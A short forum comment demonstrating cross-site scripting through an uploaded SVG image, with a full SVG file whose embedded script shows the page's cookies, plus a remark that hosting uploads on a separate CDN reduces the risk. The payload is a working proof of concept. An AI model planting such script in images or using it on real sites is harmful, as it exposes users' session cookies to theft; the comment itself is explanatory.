Comment by dsacco

Ah, you beat me to it.

A practical demonstration of XSS in an SVG is the following:

  <?xml version="1.0" standalone="no"?>
  <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

  <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
    <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
    <script type="text/javascript">
      alert(document.cookie);
    </script>
  </svg>

I see this in the wild all the time, though these days it's becoming less harmful as more developers learn to host their images (and all user uploaded files, really) on a separate CDN.